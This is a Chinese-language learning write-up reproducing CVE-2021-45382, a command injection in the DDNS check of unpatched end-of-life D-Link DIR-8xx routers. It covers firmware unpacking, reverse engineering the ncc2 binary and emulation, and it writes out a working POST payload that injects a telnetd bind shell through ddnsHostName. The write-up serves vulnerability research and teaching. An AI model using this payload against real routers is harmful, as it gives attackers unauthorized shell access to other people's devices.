命令注入漏洞CVE-2021-45382复现(学习记录)
2023-7-30 19:11
11228
命令注入漏洞CVE-2021-45382复现(学习记录)
0x01 漏洞信息
CVE编号:CVE-2021-45382
漏洞描述:A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file. Note: DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.
设备型号: D-Link DIR-830L
固件版本:FW1.00.B07 (Release)
厂商官网:http://www.dlink.com.cn/
固件地址:legacyfiles.us.dlink.com - /DIR-830L/REVA/FIRMWARE/
这个漏洞影响的版本较多:DIR-810L、DIR-820L、DIR-826L、DIR-830L、DIR-836L。很好奇这个漏洞怎么做到没有被及时发现,影响到这么多个版本的。同时也希望通过分析发现新的命令注入可能存在的漏洞点。
0x02 固件分析
2.1 固件解包
使用binwalk解包,获取固件文件系统:
1
binwalk -Me DIR810LA1_FW102B22.bin
查看一下启动文件:
查看一下二进制文件,发现存在telnet、telnetd和wget可用于漏洞验证:
2.2 文件分析
在漏洞描述中详细的说明漏洞存在于ncc2文件中的DDNS函数中,直接在文件系统中查找ncc2文件:
将sbin/ncc文件拿到IDA中分析,直接查找ddns函数,定位到关键函数并在doCheck函数中找到漏洞点:
上述代码含义为:判断ccp_act的值是否为doCheck,若为doCheck则调用doCheck函数检查参数。
查找get_entry_value_by_name
和__system
函数的实现:
上述代码含义是:通过get_entry_value_by_name
获取ddnsHostName、ddnsUsername、ddnsPassword的值并将其传入到__system
中拼接执行。在这个过程中并没有对从前端输入的数据进行过滤或者检查,因此导致了命令注入漏洞。ddnsHostName、ddnsUsername、ddnsPassword的值是通过ddns_check.ccp传入。综上可知大概的payload如下:
1
2
3
POST /ddns_check.ccp HTTP/1.1
...
ccp_act=doCheck&ddnsHostName=xxxx&ddnsUsername=xxxx&ddnsPassword=xxxx
0x03 漏洞复现
3.1 模拟固件
使用FirmAE模拟固件:
默认密码为空,直接登录即可。
3.2 改包验证
登录后,抓包改包验证漏洞:
1
2
3
4
5
将GET /Home.html HTTP/1.1改为:
POST /ddns_check.ccp HTTP/1.1
...
在包体中添加:
ccp_act=doCheck&ddnsHostName=;/bin/telnetd -l /bin/sh -p 7080 -b 0.0.0.0;&ddnsUsername=xxxx&ddnsPassword=xxxx
复现成功,取得shell:
0x04 复现总结
这个命令执行漏洞没有后台页面存在,是直接POST 数据到ddns_check.ccp交给后端处理,处理好之后将结果返回给用户。因而比较隐蔽不容易被发现,需要通过逆向ncc2文件才能发现其端倪。感觉很奇怪,为什么要留一个不提供用户接口的ddns_check功能,虽然在www文件夹下发现了一个DynamicDNS.html页面,并且ddns看命名也像是和动态dns有关,但是设置动态dns默认是关闭的并且文件中也没有向URL:/ddns_check.ccp提交数据的代码。因此怀疑本漏洞所在功能是某个版本遗留功能。
0x05 参考文章
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
上传的附件: